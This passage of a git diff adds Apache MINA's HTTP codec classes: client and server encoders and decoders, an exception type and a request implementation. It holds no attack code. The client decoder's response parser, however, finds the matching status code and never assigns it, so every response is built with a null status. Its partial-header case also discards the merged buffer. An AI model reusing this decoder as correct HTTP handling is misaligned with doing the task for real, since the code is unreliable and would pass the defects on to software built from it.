encoder = new HttpClientEncoder(); + private static ProtocolDecoder decoder = new HttpClientDecoder(); + + /** + * Creates a new HttpClientCodec instance + */ + public HttpClientCodec() { + super(encoder, decoder); + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionClosed(IoFilter.NextFilter nextFilter, IoSession session) throws Exception { + super.sessionClosed(nextFilter, session); + session.removeAttribute(DECODER_STATE_ATT); + session.removeAttribute(PARTIAL_HEAD_ATT); + } +} \ No newline at end of file diff --git a/mina-http/src/main/java/org/apache/mina/http/HttpClientDecoder.java b/mina-http/src/main/java/org/apache/mina/http/HttpClientDecoder.java new file mode 100644 index 0000000000..21b29af062 --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/HttpClientDecoder.java @@ -0,0 +1,263 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http; + +import java.nio.ByteBuffer; +import java.util.HashMap; +import java.util.Map; +import java.util.regex.Pattern; + +import org.apache.mina.core.buffer.IoBuffer; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.codec.ProtocolDecoder; +import org.apache.mina.filter.codec.ProtocolDecoderOutput; +import org.apache.mina.http.api.DefaultHttpResponse; +import org.apache.mina.http.api.HttpEndOfContent; +import org.apache.mina.http.api.HttpStatus; +import org.apache.mina.http.api.HttpVersion; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * An HTTP decoder + * + * @author Apache MINA Project + */ +public class HttpClientDecoder implements ProtocolDecoder { + private static final Logger LOGGER = LoggerFactory.getLogger(HttpClientCodec.class); + + /** Key for decoder current state */ + private static final String DECODER_STATE_ATT = "http.ds"; + + /** Key for the partial HTTP requests head */ + private static final String PARTIAL_HEAD_ATT = "http.ph"; + + /** Key for the number of bytes remaining to read for completing the body */ + private static final String BODY_REMAINING_BYTES = "http.brb"; + + /** Key for indicating chunked data */ + private static final String BODY_CHUNKED = "http.ckd"; + + /** Regex to parse HttpRequest Request Line */ + public static final Pattern REQUEST_LINE_PATTERN = Pattern.compile(" "); + + /** Regex to parse HttpRequest Request Line */ + public static final Pattern RESPONSE_LINE_PATTERN = Pattern.compile(" "); + + /** Regex to parse out QueryString from HttpRequest */ + public static final Pattern QUERY_STRING_PATTERN = Pattern.compile("\\?"); + + /** Regex to parse out parameters from query string */ + public static final Pattern PARAM_STRING_PATTERN = Pattern.compile("\\&|;"); + + /** Regex to parse out key/value pairs */ + public static final Pattern KEY_VALUE_PATTERN = Pattern.compile("="); + + /** Regex to parse raw headers and body */ + public static final Pattern RAW_VALUE_PATTERN = Pattern.compile("\\r\\n\\r\\n"); + + /** Regex to parse raw headers from body */ + public static final Pattern HEADERS_BODY_PATTERN = Pattern.compile("\\r\\n"); + + /** Regex to parse header name and value */ + public static final Pattern HEADER_VALUE_PATTERN = Pattern.compile(": "); + + /** Regex to split cookie header following RFC6265 Section 5.4 */ + public static final Pattern COOKIE_SEPARATOR_PATTERN = Pattern.compile(";"); + + /** + * {@inheritDoc} + */ + @Override + public void decode(IoSession session, IoBuffer msg, ProtocolDecoderOutput out) { + DecoderState state = (DecoderState)session.getAttribute(DECODER_STATE_ATT); + + if (null == state) { + session.setAttribute(DECODER_STATE_ATT, DecoderState.NEW); + state = (DecoderState)session.getAttribute(DECODER_STATE_ATT); + } + + switch (state) { + case HEAD: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("decoding HEAD"); + } + + // grab the stored a partial HEAD request + ByteBuffer oldBuffer = (ByteBuffer)session.getAttribute(PARTIAL_HEAD_ATT); + // concat the old buffer and the new incoming one + IoBuffer.allocate(oldBuffer.remaining() + msg.remaining()).put(oldBuffer).put(msg).flip(); + // now let's decode like it was a new message + + case NEW: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("decoding NEW"); + } + + DefaultHttpResponse rp = parseHttpReponseHead(msg.buf()); + + if (rp == null) { + // we copy the incoming BB because it's going to be recycled by the inner IoProcessor for next reads + ByteBuffer partial = ByteBuffer.allocate(msg.remaining()); + partial.put(msg.buf()); + partial.flip(); + // no request decoded, we accumulate + session.setAttribute(PARTIAL_HEAD_ATT, partial); + session.setAttribute(DECODER_STATE_ATT, DecoderState.HEAD); + } else { + out.write(rp); + // is it a response with some body content ? + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("response with content"); + } + + session.setAttribute(DECODER_STATE_ATT, DecoderState.BODY); + + String contentLen = rp.getHeader("content-length"); + + if (contentLen != null) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("found content len : {}", contentLen); + } + + session.setAttribute(BODY_REMAINING_BYTES, Integer.valueOf(contentLen)); + } else if ("chunked".equalsIgnoreCase(rp.getHeader("transfer-encoding"))) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("no content len but chunked"); + } + + session.setAttribute(BODY_CHUNKED, Boolean.TRUE); + } else if ("close".equalsIgnoreCase(rp.getHeader("connection"))) { + session.closeNow(); + } else { + throw new HttpException(HttpStatus.CLIENT_ERROR_LENGTH_REQUIRED, "no content length !"); + } + } + + break; + + case BODY: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("decoding BODY: {} bytes", msg.remaining()); + } + + int chunkSize = msg.remaining(); + + // send the chunk of body + if (chunkSize != 0) { + IoBuffer wb = IoBuffer.allocate(msg.remaining()); + wb.put(msg); + wb.flip(); + out.write(wb); + } + + msg.position(msg.limit()); + + // do we have reach end of body ? + int remaining; + + // if chunked, remaining is the msg.remaining() + if( session.getAttribute(BODY_CHUNKED) != null ) { + remaining = chunkSize; + } else { + // otherwise, manage with content-length + remaining = (Integer) session.getAttribute(BODY_REMAINING_BYTES); + remaining -= chunkSize; + } + + if (remaining <= 0 ) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("end of HTTP body"); + } + + session.setAttribute(DECODER_STATE_ATT, DecoderState.NEW); + session.removeAttribute(BODY_REMAINING_BYTES); + + if( session.getAttribute(BODY_CHUNKED) != null ) { + session.removeAttribute(BODY_CHUNKED); + } + + out.write(new HttpEndOfContent()); + } else { + if( session.getAttribute(BODY_CHUNKED) == null ) { + session.setAttribute(BODY_REMAINING_BYTES, Integer.valueOf(remaining)); + } + } + + break; + + default: + throw new HttpException(HttpStatus.SERVER_ERROR_INTERNAL_SERVER_ERROR, "Unknonwn decoder state : " + state); + } + } + + /** + * {@inheritDoc} + */ + @Override + public void finishDecode(IoSession session, ProtocolDecoderOutput out) throws Exception { + } + + /** + * {@inheritDoc} + */ + @Override + public void dispose(IoSession session) throws Exception { + } + + private DefaultHttpResponse parseHttpReponseHead(ByteBuffer buffer) { + String raw = new String(buffer.array(), 0, buffer.limit()); + String[] headersAndBody = RAW_VALUE_PATTERN.split(raw, -1); + + if (headersAndBody.length <= 1) { + // we didn't receive the full HTTP head + return null; + } + + String[] headerFields = HEADERS_BODY_PATTERN.split(headersAndBody[0]); + headerFields = ArrayUtil.dropFromEndWhile(headerFields, ""); + + String requestLine = headerFields[0]; + Map generalHeaders = new HashMap<>(); + + for (String headerField:headerFields) { + String[] header = HEADER_VALUE_PATTERN.split(headerField); + generalHeaders.put(header[0].toLowerCase(), header[1]); + } + + String[] elements = RESPONSE_LINE_PATTERN.split(requestLine); + HttpStatus status = null; + int statusCode = Integer.parseInt(elements[1]); + + for (HttpStatus httpStatus:HttpStatus.values()) { + if (statusCode == httpStatus.code()) { + + break; + } + } + + HttpVersion version = HttpVersion.fromString(elements[0]); + + // we put the buffer position where we found the beginning of the HTTP body + buffer.position(headersAndBody[0].length() + 4); + + return new DefaultHttpResponse(version, status, generalHeaders); + } +} diff --git a/mina-http/src/main/java/org/apache/mina/http/HttpClientEncoder.java b/mina-http/src/main/java/org/apache/mina/http/HttpClientEncoder.java new file mode 100644 index 0000000000..98cda26f05 --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/HttpClientEncoder.java @@ -0,0 +1,106 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http; + +import java.nio.ByteBuffer; +import java.nio.charset.CharsetEncoder; +import java.nio.charset.StandardCharsets; +import java.util.Map; + +import org.apache.mina.core.buffer.IoBuffer; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.codec.ProtocolEncoder; +import org.apache.mina.filter.codec.ProtocolEncoderOutput; +import org.apache.mina.http.api.HttpEndOfContent; +import org.apache.mina.http.api.HttpRequest; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * An encoder for the HTTP client + * @author Apache MINA Project + */ +public class HttpClientEncoder implements ProtocolEncoder { + private static final Logger LOGGER = LoggerFactory.getLogger(HttpClientCodec.class); + private static final CharsetEncoder ENCODER = StandardCharsets.UTF_8.newEncoder(); + + /** + * {@inheritDoc} + */ + @Override + public void encode(IoSession session, Object message, ProtocolEncoderOutput out) throws Exception { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("encode {}", message.getClass().getCanonicalName()); + } + + if (message instanceof HttpRequest) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("HttpRequest"); + } + + HttpRequest msg = (HttpRequest)message; + StringBuilder sb = new StringBuilder(msg.getMethod().toString()); + sb.append(" "); + sb.append(msg.getRequestPath()); + + if (!"".equals(msg.getQueryString())) { + sb.append("?"); + sb.append(msg.getQueryString()); + } + + sb.append(" "); + sb.append(msg.getProtocolVersion()); + sb.append("\r\n"); + + for (Map.Entry header : msg.getHeaders().entrySet()) { + sb.append(header.getKey()); + sb.append(": "); + sb.append(header.getValue()); + sb.append("\r\n"); + } + + sb.append("\r\n"); + IoBuffer buf = IoBuffer.allocate(sb.length()).setAutoExpand(true); + buf.putString(sb.toString(), ENCODER); + buf.flip(); + out.write(buf); + } else if (message instanceof ByteBuffer) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Body"); + } + + out.write(message); + } else if (message instanceof HttpEndOfContent) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("End of Content"); + } + // end of HTTP content + // keep alive ? + } + } + + /** + * {@inheritDoc} + */ + @Override + public void dispose(IoSession arg0) throws Exception { + // TODO Auto-generated method stub + } +} diff --git a/mina-http/src/main/java/org/apache/mina/http/HttpException.java b/mina-http/src/main/java/org/apache/mina/http/HttpException.java new file mode 100644 index 0000000000..5a3ac52562 --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/HttpException.java @@ -0,0 +1,78 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http; + +import org.apache.mina.http.api.HttpStatus; + +/** + * + * @author Apache MINA Project + */ +@SuppressWarnings("serial") +public class HttpException extends RuntimeException { + private final int statusCode; + + /** + * Creates a new HttpException instance + * + * @param statusCode The associated status code + */ + public HttpException(int statusCode) { + this(statusCode, ""); + } + + /** + * Creates a new HttpException instance + * + * @param statusCode The associated status code + */ + public HttpException(HttpStatus statusCode) { + this(statusCode, ""); + } + + /** + * Creates a new HttpException instance + * + * @param statusCode The associated status code + * @param message The error message + */ + public HttpException(int statusCode, String message) { + super(message); + this.statusCode = statusCode; + } + + /** + * Creates a new HttpException instance + * + * @param statusCode The associated status code + * @param message The error message + */ + public HttpException(HttpStatus statusCode, String message) { + super(message); + this.statusCode = statusCode.code(); + } + + /** + * @return The statusCode + */ + public int getStatusCode() { + return statusCode; + } +} diff --git a/mina-http/src/main/java/org/apache/mina/http/HttpRequestImpl.java b/mina-http/src/main/java/org/apache/mina/http/HttpRequestImpl.java new file mode 100644 index 0000000000..6bd50ed77d --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/HttpRequestImpl.java @@ -0,0 +1,226 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import org.apache.mina.http.api.HttpMethod; +import org.apache.mina.http.api.HttpRequest; +import org.apache.mina.http.api.HttpVersion; + +/** + * A HTTP Request implementation + * + * @author Apache MINA Project + */ +public class HttpRequestImpl implements HttpRequest { + /** The HTTP version */ + private final HttpVersion version; + + /** The HTTP method */ + private final HttpMethod method; + + /** The requested path */ + private final String requestedPath; + + /** The query string */ + private final String queryString; + + /** The set of headers */ + private final Map headers; + + /** + * Creates a new HttpRequestImpl instance + * + * @param version The HTTP version + * @param method The HTTP method + * @param requestedPath The request path + * @param queryString The query string + * @param headers The headers + */ + public HttpRequestImpl(HttpVersion version, HttpMethod method, String requestedPath, String queryString, Map headers) { + this.version = version; + this.method = method; + this.requestedPath = requestedPath; + this.queryString = queryString; + this.headers = headers; + } + + /** + * {@inheritDoc} + */ + @Override + public HttpVersion getProtocolVersion() { + return version; + } + + /** + * {@inheritDoc} + */ + @Override + public String getContentType() { + return headers.get("content-type"); + } + + /** + * {@inheritDoc} + */ + @Override + public boolean isKeepAlive() { + return false; + } + + /** + * {@inheritDoc} + */ + @Override + public String getHeader(String name) { + return headers.get(name); + } + + /** + * {@inheritDoc} + */ + @Override + public boolean containsHeader(String name) { + return headers.containsKey(name); + } + + /** + * {@inheritDoc} + */ + @Override + public Map getHeaders() { + return headers; + } + + /** + * {@inheritDoc} + */ + @Override + public boolean containsParameter(String name) { + Matcher m = parameterPattern(name); + return m.find(); + } + + /** + * {@inheritDoc} + */ + @Override + public String getParameter(String name) { + Matcher m = parameterPattern(name); + if (m.find()) { + return m.group(1); + } else { + return null; + } + } + + protected Matcher parameterPattern(String name) { + return Pattern.compile("[&]"+name+"=([^&]*)").matcher("&"+queryString); + } + + /** + * {@inheritDoc} + */ + @Override + public Map> getParameters() { + Map> parameters = new HashMap<>(); + String[] params = queryString.split("&"); + + if (params.length == 1) { + return parameters; + } + + for (String parameter:params) { + String[] param = parameter.split("="); + String name = param[0]; + String value = param.length == 2 ? param[1] : ""; + + if (!parameters.containsKey(name)) { + parameters.put(name, new ArrayList<>()); + } + + parameters.get(name).add(value); + } + + return parameters; + } + + /** + * {@inheritDoc} + */ + @Override + public String getQueryString() { + return queryString; + } + + /** + * {@inheritDoc} + */ + @Override + public HttpMethod getMethod() { + return method; + } + + /** + * {@inheritDoc} + */ + @Override + public String getRequestPath() { + return requestedPath; + } + + /** + * {@inheritDoc} + */ + @Override + public String toString() { + StringBuilder sb = new StringBuilder(); + sb.append("HTTP REQUEST METHOD: ").append(method).append('\n'); + sb.append("VERSION: ").append(version).append('\n'); + sb.append("PATH: ").append(requestedPath).append('\n'); + sb.append("QUERY:").append(queryString).append('\n'); + + sb.append("--- HEADER --- \n"); + + for (Map.Entry entry : headers.entrySet()) { + sb.append(entry.getKey()).append(':').append(entry.getValue()).append('\n'); + } + + sb.append("--- PARAMETERS --- \n"); + Map> parameters = getParameters(); + + for (Map.Entry> entry : parameters.entrySet()) { + String key = entry.getKey(); + + for (String value : entry.getValue()) { + sb.append(key).append(':').append(value).append('\n'); + } + } + + return sb.toString(); + } +} diff --git a/mina-http/src/main/java/org/apache/mina/http/HttpServerCodec.java b/mina-http/src/main/java/org/apache/mina/http/HttpServerCodec.java new file mode 100644 index 0000000000..6c23445181 --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/HttpServerCodec.java @@ -0,0 +1,63 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http; + +import org.apache.mina.core.filterchain.IoFilter; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.codec.ProtocolCodecFilter; +import org.apache.mina.filter.codec.ProtocolDecoder; +import org.apache.mina.filter.codec.ProtocolEncoder; + +/** + * The HTTP server codec + * + * @author Apache MINA Project + */ +public class HttpServerCodec extends ProtocolCodecFilter { + + /** Key for decoder current state */ + private static final String DECODER_STATE_ATT = "http.ds"; + + /** Key for the partial HTTP requests head */ + private static final String PARTIAL_HEAD_ATT = "http.ph"; + + /** The encoder instance */ + private static ProtocolEncoder encoder = new HttpServerEncoder(); + + /** The decoder instance */ + private static ProtocolDecoder decoder = new HttpServerDecoder(); + + /** + * Creates a new HttpServerCodec instance + */ + public HttpServerCodec() { + super(encoder, decoder); + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionClosed(IoFilter.NextFilter nextFilter, IoSession session) throws Exception { + super.sessionClosed(nextFilter, session); + session.removeAttribute(DECODER_STATE_ATT); + session.removeAttribute(PARTIAL_HEAD_ATT); + } +} \ No newline at end of file diff --git a/mina-http/src/main/java/org/apache/mina/http/HttpServerDecoder.java b/mina-http/src/main/java/org/apache/mina/http/HttpServerDecoder.java new file mode 100644 index 0000000000..3dbc04ef59 --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/HttpServerDecoder.java @@ -0,0 +1,264 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http; + +import java.nio.ByteBuffer; +import java.util.HashMap; +import java.util.Map; +import java.util.regex.Pattern; + +import org.apache.mina.core.buffer.IoBuffer; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.codec.ProtocolDecoder; +import org.apache.mina.filter.codec.ProtocolDecoderOutput; +import org.apache.mina.http.api.HttpEndOfContent; +import org.apache.mina.http.api.HttpMethod; +import org.apache.mina.http.api.HttpStatus; +import org.apache.mina.http.api.HttpVersion; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * The HTTP decoder + * + * @author Apache MINA Project + */ +public class HttpServerDecoder implements ProtocolDecoder { + private static final Logger LOGGER = LoggerFactory.getLogger(HttpServerCodec.class); + + /** Key for decoder current state */ + private static final String DECODER_STATE_ATT = "http.ds"; + + /** Key for the partial HTTP requests head */ + private static final String PARTIAL_HEAD_ATT = "http.ph"; + + /** Key for the number of bytes remaining to read for completing the body */ + private static final String BODY_REMAINING_BYTES = "http.brb"; + + /** Regex to parse raw headers and body */ + public static final byte[] RAW_VALUE_BYTES = { 0x0d, 0x0a, 0x0d, 0x0a }; + + /** Regex to parse HttpRequest Request Line */ + public static final Pattern REQUEST_LINE_PATTERN = Pattern.compile(" "); + + /** Regex to parse out QueryString from HttpRequest */ + public static final Pattern QUERY_STRING_PATTERN = Pattern.compile("\\?"); + + /** Regex to parse out parameters from query string */ + public static final Pattern PARAM_STRING_PATTERN = Pattern.compile("\\&|;"); + + /** Regex to parse out key/value pairs */ + public static final Pattern KEY_VALUE_PATTERN = Pattern.compile("="); + + /** Regex to parse raw headers and body */ + public static final Pattern RAW_VALUE_PATTERN = Pattern.compile("\\r\\n\\r\\n"); + + /** Regex to parse raw headers from body */ + public static final Pattern HEADERS_BODY_PATTERN = Pattern.compile("\\r\\n"); + + /** Regex to parse header name and value */ + public static final Pattern HEADER_VALUE_PATTERN = Pattern.compile(":"); + + /** Regex to split cookie header following RFC6265 Section 5.4 */ + public static final Pattern COOKIE_SEPARATOR_PATTERN = Pattern.compile(";"); + + /** + * {@inheritDoc} + */ + @Override + public void decode(IoSession session, IoBuffer msg, ProtocolDecoderOutput out) { + DecoderState state = (DecoderState) session.getAttribute(DECODER_STATE_ATT); + + if (null == state) { + state = DecoderState.NEW; + session.setAttribute(DECODER_STATE_ATT, state); + } + + switch (state) { + case HEAD: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("decoding HEAD"); + } + + // grab the stored a partial HEAD request + ByteBuffer oldBuffer = (ByteBuffer) session.getAttribute(PARTIAL_HEAD_ATT); + // concat the old buffer and the new incoming one + // now let's decode like it was a new message + msg = IoBuffer.allocate(oldBuffer.remaining() + msg.remaining()).put(oldBuffer).put(msg).flip(); + + case NEW: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("decoding NEW"); + } + + HttpRequestImpl httpRequest = parseHttpRequestHead(msg.buf()); + session.removeAttribute(DECODER_STATE_ATT); + + + if (httpRequest == null) { + // we copy the incoming BB because it's going to be recycled by the inner IoProcessor for next reads + ByteBuffer partial = ByteBuffer.allocate(msg.remaining()); + partial.put(msg.buf()); + partial.flip(); + // no request decoded, we accumulate + session.setAttribute(PARTIAL_HEAD_ATT, partial); + session.setAttribute(DECODER_STATE_ATT, DecoderState.HEAD); + break; + } else { + out.write(httpRequest); + // is it a request with some body content ? + String contentLen = httpRequest.getHeader("content-length"); + + if (contentLen != null) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("found content len : {}", contentLen); + } + + session.setAttribute(BODY_REMAINING_BYTES, Integer.valueOf(contentLen)); + session.setAttribute(DECODER_STATE_ATT, DecoderState.BODY); + // fallthrough, process body immediately + } else { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("request without content"); + } + + session.setAttribute(DECODER_STATE_ATT, DecoderState.NEW); + out.write(new HttpEndOfContent()); + break; + } + } + + case BODY: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("decoding BODY: {} bytes", msg.remaining()); + } + + int chunkSize = msg.remaining(); + + // send the chunk of body + if (chunkSize != 0) { + IoBuffer wb = IoBuffer.allocate(msg.remaining()); + wb.put(msg); + wb.flip(); + out.write(wb); + } + + msg.position(msg.limit()); + // do we have reach end of body ? + int remaining = (Integer) session.getAttribute(BODY_REMAINING_BYTES); + remaining -= chunkSize; + + if (remaining <= 0) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("end of HTTP body"); + } + + session.setAttribute(DECODER_STATE_ATT, DecoderState.NEW); + session.removeAttribute(BODY_REMAINING_BYTES); + out.write(new HttpEndOfContent()); + } else { + session.setAttribute(BODY_REMAINING_BYTES, Integer.valueOf(remaining)); + } + + break; + + default: + throw new HttpException(HttpStatus.CLIENT_ERROR_BAD_REQUEST, "Unknonwn decoder state : " + state); + } + } + + /** + * {@inheritDoc} + */ + @Override + public void finishDecode(IoSession session, ProtocolDecoderOutput out) throws Exception { + } + + /** + * {@inheritDoc} + */ + @Override + public void dispose(IoSession session) throws Exception { + } + + private HttpRequestImpl parseHttpRequestHead(ByteBuffer buffer) { + int foundEndHeaders = ArrayIndexOf(buffer.array(), RAW_VALUE_BYTES, buffer.position(), buffer.limit()); + + if (foundEndHeaders < 0) { + // we didn't receive the full HTTP head + return null; + } + + String headers = new String(buffer.array(), buffer.position(), foundEndHeaders); + + String[] headerFields = HEADERS_BODY_PATTERN.split(headers); + + String requestLine = headerFields[0]; + Map generalHeaders = new HashMap<>(); + + for (String header : headerFields) { + int firstColon = header.indexOf(':'); + if (firstColon > 0) { + generalHeaders.put(header.substring(0, firstColon).toLowerCase(), + header.substring(firstColon + 1).trim()); + } else { + generalHeaders.put(header.trim(), ""); + } + } + + String[] elements = REQUEST_LINE_PATTERN.split(requestLine); + HttpMethod method = HttpMethod.valueOf(elements[0]); + HttpVersion version = HttpVersion.fromString(elements[2]); + String[] pathFrags = QUERY_STRING_PATTERN.split(elements[1]); + String requestedPath = pathFrags[0]; + String queryString = pathFrags.length == 2 ? pathFrags[1] : ""; + + // we put the buffer position where we found the beginning of the HTTP body + buffer.position(foundEndHeaders + 4); + + return new HttpRequestImpl(version, method, requestedPath, queryString, generalHeaders); + } + + /** + * Find the index of a byte sequence instead a larger byte sequence + */ + private static int ArrayIndexOf(byte[] haystack, byte[] needle, int startIndex, int limit) { + if (needle.length == 0) { + return 0; + } + + for (int i = startIndex; i <= limit - needle.length; i++) { + boolean match = true; + + for (int j = 0; j < needle.length; j++) { + if (haystack[i + j] != needle[j]) { + match = false; + break; + } + } + + if (match) { + return i; + } + } + + return -1; + } +} diff --git a/mina-http/src/main/java/org/apache/mina/http/HttpServerEncoder.java b/mina-http/src/main/java/org/apache/mina/http/HttpServerEncoder.java new file mode 100644 index 0000000000..9963beed6c --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/HttpServerEncoder.java @@ -0,0 +1,96 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http; + +import java.nio.ByteBuffer; +import java.nio.charset.CharsetEncoder; +import java.nio.charset.StandardCharsets; +import java.util.Map; + +import org.apache.mina.core.buffer.IoBuffer; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.codec.ProtocolEncoder; +import org.apache.mina.filter.codec.ProtocolEncoderOutput; +import org.apache.mina.http.api.HttpEndOfContent; +import org.apache.mina.http.api.HttpResponse; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * An encoder for the HTTP server + * + * @author Apache MINA Project + */ +public class HttpServerEncoder implements ProtocolEncoder { + private static final Logger LOGGER = LoggerFactory.getLogger(HttpServerCodec.class); + private static final CharsetEncoder ENCODER = StandardCharsets.UTF_8.newEncoder(); + + /** + * {@inheritDoc} + */ + @Override + public void encode(IoSession session, Object message, ProtocolEncoderOutput out) throws Exception { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("encode {}", message.getClass().getCanonicalName()); + } + + if (message instanceof HttpResponse) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("HttpResponse"); + } + + HttpResponse msg = (HttpResponse) message; + StringBuilder sb = new StringBuilder(msg.getStatus().line()); + + for (Map.Entry header : msg.getHeaders().entrySet()) { + sb.append(header.getKey()); + sb.append(": "); + sb.append(header.getValue()); + sb.append("\r\n"); + } + + sb.append("\r\n"); + IoBuffer buf = IoBuffer.allocate(sb.length()).setAutoExpand(true); + buf.putString(sb.toString(), ENCODER); + buf.flip(); + out.write(buf); + } else if (message instanceof ByteBuffer) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Body {}", message); + } + + out.write(message); + } else if (message instanceof HttpEndOfContent) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("End of Content"); + } + // end of HTTP content + // keep alive ? + } + } + + /** + * {@inheritDoc} + */ + @Override + public void dispose(IoSession session) throws Exception { + // TODO Auto-generated method stub + } +} diff --git a/mina-http/src/main/java/org/apache/mina/http/api/DefaultHttpResponse.java b/mina-http/src/main/java/org/apache/mina/http/api/DefaultHttpResponse.java new file mode 100644 index 0000000000..1194de01b7 --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/api/DefaultHttpResponse.java @@ -0,0 +1,123 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, 